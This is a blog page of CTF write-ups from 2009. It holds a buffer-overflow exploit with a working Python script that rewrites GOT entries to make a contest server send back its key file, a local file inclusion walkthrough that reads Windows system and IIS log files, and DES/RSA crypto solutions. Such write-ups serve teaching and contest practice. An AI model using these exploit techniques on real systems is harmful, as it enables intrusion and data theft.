ISEC 2009 CTF Prequal – Challenge 06

August 25, 2009 by RD · Leave a Comment 

Summary

The binary blackhole contains remote buffer overflow bugs. By exploiting these bugs, we can overwrite a buffer pointer being used as the destination for another strcpy() later in the program. Hence, we can write 128 bytes of chosen data to any location we want to.

Vulnerability

Reverse C code of the buggy function at address 0×8048A20

signed int conn_handle(int fd)
{

   unsigned int s;
   int len;
   char buf128[128];
   char destrandbuf12[12];
   char randbuf12[12];
   char destbuf16[16];
   int randnum;
   char *buf_ptr;
   FILE *stream;

   randnum = 0;
   buf_ptr = 0;
   sockfd = fd;
   sendtosocket(fd, "name : ", 7);
   memset(buf128, 0, 128);
   s = time(0);
   srand(s);
   randnum = rand() % 10000;
   readfromsocket(fd, buf128, 32, 10);
   strcpy(destbuf16, buf128);
   memset(randbuf12, 0, 12);
   snprintf(randbuf12, 5, "%d", randnum);
   xor_randnum(randbuf12, destrandbuf12);
   snprintf(buf128, 64, "hello %s , your key : %s\n", destbuf16, destrandbuf12);
   len = strlen(buf128);
   sendtosocket(fd, buf128, len);
   sendtosocket(fd, "surisuri : ", 11);
   memset(buf128, 0, 128);
   readfromsocket(fd, buf128, 128, 10);
   if ( strncmp(buf128, randbuf12, 4) )
   {
     stream = fopen("/dev/null", "w");
     fputs(buf128, stream);
     sendtosocket(fd, "blackhole\n", 10);
     exit(1);
   }
   stream = fopen("./key", "r");
   if ( stream )
   {
     fread(keystr, 32, 1, stream);
     strcpy(randbuf12, buf128);
     strcpy(buf_ptr, buf128);
     printf("abrakatabra the key is %s\n", "elohkcalb");
     exit(1);
   }
   return -1;
}

There are two buffer overflow bugs:
    – 16 bytes overflow at line 23: strcpy(destbuf16, buf128)
    – 116 bytes overflow at line 44: strcpy(randbuf12, buf128)

Exploit

In order to reach the second buggy code at line 44, we need to provide the proper input to pass random check strncmp(buf128, randbuf12, 4) at line 33. The easiest way to do this is to overwrite the `randnum` value using the first strcpy() at line 23. After that, by using the second overflow bug at line 44, we can overwrite `buf_ptr` pointer in the subsequence strcpy(buf_ptr, buf128) at line 45 to be able to write 128 bytes of input data to any memory address.

It’s possible to overwrite the GOT table in the way that the server would send the content of ./key file back to the client via sendtosocket(). Since the static variable `keystr` is used to store the content of ./key file, we can craft the GOT table to change the program flow to end up with something like

; printf GOT points to 0x08048C63
.text:08048C63                 mov     dword ptr [esp+4], 20h ; size
.text:08048C6B                 mov     dword ptr [esp], offset keystr ; ptr
.text:08048C72                 call    _fread

; fread GOT points to 0x08048B98
.text:08048B98                 mov     eax, [ebp+fd]
.text:08048B9B                 mov     [esp], eax      ; fd
.text:08048B9E                 call    sendtosocket

which is equivalent to sendtosocket(fd, keystr, 32) so the server will send us back 32 bytes content of ./key file.

$ python 6.py
< name :
< hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa , your key : 0407
< surisuri :
KEY: wowyougotpasswordgonextlevel

Exploit Code

#!/usr/bin/env python

import socket

host = '221.143.48.88'
port = 57005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

ret = s.recv(1024)
print "&lt; %s" % ret

name = "a"*32 + "\n"
s.send(name)

ret = s.recv(1024)
print "&lt; %s" % ret

ret = s.recv(1024)
print "&lt; %s" % ret

# GOT - from 0x0804A2FC waitpid_ptr
# RANDSTR[4] PAD[4] CALL_SENDTOSOCKET[4] PAD[20] BUF_PTR[4]
# PAD[4] CALL_FREAD[4]

RANDSTR = "1633"
CALL_SENDTOSOCKET = "\x98\x8B\x04\x08"	# fread GOT
CALL_FREAD = "\x63\x8C\x04\x08" 	# printf GOT
BUF_PTR = "\xFC\xA2\x04\x08"		# waitpid GOT
surisuri = RANDSTR + "A"*4 + CALL_SENDTOSOCKET + "A"*20 \
           + BUF_PTR + "A"*4 + CALL_FREAD + "\n"
s.send(surisuri)

ret = s.recv(1024)
print "KEY: %s\n" % ret

s.close

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Web Hacking Challenge

August 25, 2009 by thaidn · Leave a Comment 

Challenge 8 (not accessible atm) is the only web hacking challenge in WOWHacker’s CTF. In hindsight it’s not very difficult, but in fact it took us almost 1 day to solve it.

This is a classic PHP local file inclusion attack. If you set the parameter ty and the cookie 71860c77c6745379b0d44304d66b6a13 to the same file name, the vulnerable PHP script in challenge 8 would try to include that file. Here’s what the code looks like:

$ty = $_GET["ty"];
$page = $_COOKIE["71860c77c6745379b0d44304d66b6a13"];
if ($ty != $page)
{
    echo "Error!";
}
else
{
    if (include($ty) != 'OK')
    {
        echo "Can't find that page!";
    }
}

Update: gamma95 has just noticed me this challenge may not be a PHP local file inclusion attack. Maybe it’s just a vulnerable readfile call like this:

$ty = $_GET["ty"];
$page = $_COOKIE["71860c77c6745379b0d44304d66b6a13"];
if ($ty != $page)
{
    echo "Error!";
}
else
{
    if (file_exists($ty))
    {
        readfile($ty);
    }
    else
    {
        echo "Can't find that page!";
    }
}

For vulnerable scripts like this, the trick is to include files in known location which may contain important information, i.e. Apache httpd’s error_log or access_log. As we knew this is a Windows machine, we tried to test our theory by including C:\Windows\system32\drivers\etc\hosts which worked as expected. At this point, we thought we were just moments away from the solution of this challenge, but in fact we were totally stuck for the next several hours.

We went on to guess the location of Apache httpd’s log files. We sent hundreds of requests, but none worked. I even downloaded and installed a copy of Apache httpd to understand its directory structure but still no luck. Why it didn’t work???

Like challenge 1, it wasn’t until we almost gave up on this challenge, we realized the simple fact: we always thought that the web server was Apache httpd while it was IIS actually! Years of abandoning Windows has brainwashed us! What a shame!

The next steps are simple. The default IIS installation would store log files in C:\WINDOWS\system32\LogFiles\W3SVC1\exYYMMDD.log. As the premilinary round started on 2009.08.14, we guess we should include C:\WINDOWS\system32\LogFiles\W3SVC1\ex090814.log which in turn reveals this secret script:

/tmxhffjsqkdlxmwhaWkddlsemt/answpsorltlagkrpglaemfdjttmqslek/rmfoehrufrnrdpsvntutspdy.php

This script asks for a username and password which gamma95 had bypassed it using a trivial SQL injection attack even before I figured out what I should do next. After bypassing the authentication, we obtained the flag which is: Do you know StolenByte???

No we don’t know him, but thanks for a nice challenge!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

WOWHacker CTF – Crypto Challenges

August 25, 2009 by thaidn · Leave a Comment 

Challenge 1

Challenge 1 is…crazy hahaha. Only one or two teams could solve it until the author (hello hinehong :-D) gave out a list of 7 hints. I have designed some web-related crypto challenges (which you will see soon ^^) so I think the difficulty of challenge 1 relies on how fast people can guess the meaning of the cookie. It would be easier for the teams if the author sets the cookie as cookie = cipher + “|” + key. BTW, here’s my solution.

When you access the link above, you’ll see a bunch of javascripts. After decoding those javascripts (which I leave as exercise for readers), you’ll see a form whose target is http://221.143.48.96:8080/you_are_the_man_but_try_again.jsp. This form accepts a parameter named “hong” which is either true or false. If you set hong=true, the server sends back a cookie like below:

id=<code>pKCdQgyJb4dziUESVUv+5qBIoGwQgL2WB@ae506e</code>

This looks like a base64 encoded string, but it’s not. In fact you need to modify it a little bit before you can base64 decode it. This is, as I said previously, why this challenge is hard.

One trick I learn from this challenge is to guess the boundary between key and cipher text, one should try to truncate one character a time and base64 decode the string until he gets an output whose length in bytes is a multiple of 8 or 16, which are common block cipher’s block length.

The cookie can be either “cipher + key” or “key + cipher”, so one should try the above process in both cases. If you can’t find any such output, then you know your theory is wrong, i.e. the cookie is in some other form. Fortunately, my theory is right in this case.

It turns out that the first 32 bytes of the cookie is the cipher text, and the rest 8 bytes is the key. It’s a 8-bytes key, so this cookie should be encrypted by DES which is a popular 8-bytes key block cipher. I wrote a small python script to decrypt the it:

&gt;&gt;&gt;from Crypto.Cipher import DES
&gt;&gt;&gt;cookie = 'pKCdQgyJb4dziUESVUv+5qBIoGwQgL2WB@ae506e'
&gt;&gt;&gt; key = cookie[32:]
&gt;&gt;&gt; data = base64.b64decode(cookie[0:32])
&gt;&gt;&gt; des = DES.new(key, DES.MODE_CBC)
&gt;&gt;&gt; des.decrypt(data)
'wowhacke\xd6\xe0\xbc*e\xe7\n\xc7\x1a\xf92w6H\xfd\xe5'

Hmm. I remembered I tried to submit ‘wowhacke’ to the scoring server, but, of course, it’s not the correct answer. Then I wasted the next hour to test various stupid theories to understand what the last 16 bytes of the output are.

It was not until I nearly gave up on this challenge, I realized the obvious: this is mode ECB stupid!!! Why on earth I always thought it’s CBC? I changed the mode, and the result is:

&gt;&gt;&gt; des = DES.new(key)
&gt;&gt;&gt; des.decrypt(data)
'wowhacker@!hine@ipsec\x03\x03\x03'

Remember those ‘\x03\x03\x03′. You’ll see them again in my crypto challenges ;-).

Challenge 10

Challenge 10 is cool. In summary, the author sets a RSA private key as a property of a Java object, then he gives out the serialization stream of that object, and asks teams to recover the private key to decrypt a ciphertext.

So the first thing we must do is to understand how Java does serialization. I was never a fan of Java, so this is something completely new to me. But that’s why I really enjoy playing capture the flag games. It forces me to learn new thing fast in a very short time.

I spent nearly 1 hour reading the spec, mostly on the object serialization stream protocol. Then I spent one and a half hour starring at my hex editor screen and acting as a binary parser which was, I don’t know why I feel that, really fun (later on Tora of SexyPwndas fame showed me a much less painful way to recover the object. Thanks Tora!)

I recovered the RSA private key eventually. How to use it to decrypt the ciphertext in key.txt? While de-serializing the object, you would see that there’s a field named tripleDesKey containing a 24-bit string which you can get by base64-decoding the last 32 bytes of the serialized object.

At first I thought I should use the RSA key to decrypt this 24-bit string to get the real tripleDesKey, and uses that key in turn to decrypt key.txt. This hybrid approach is the standard way to do encryption using public key cryptosystem. But you shouldn’t expect anything standard in CTF, rite?

It turns out all that tripleDes key and ciphertext are just there to distract me. I have to admit that I don’t like challenges giving false trails. You can either give good trails or no trail at all. Giving false trail is a sin :-P.

Anyway, if you look at key.txt, you’ll see that its content is a 128-bytes string. 128-bytes = 1024-bit = the size of the modulus in the recovered RSA private key. So this string should be the ciphertext encrypted directly using the RSA private key. Indeed it is!

&gt;&gt;&gt; from M2Crypto.RSA import *
&gt;&gt;&gt; rsa = load_key('my_rsa_key')
&gt;&gt;&gt; data = open('key.bin').read()
&gt;&gt;&gt; rsa.private_decrypt(data, 3)
'\x00\x02#padding#x00isec@#$wowhacker!!'

There’s a small minor issue that I intentionally left out. Can you find out what it is and resolve it yourself?

I hope you enjoy reading this. Happy hacking!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

« Previous Page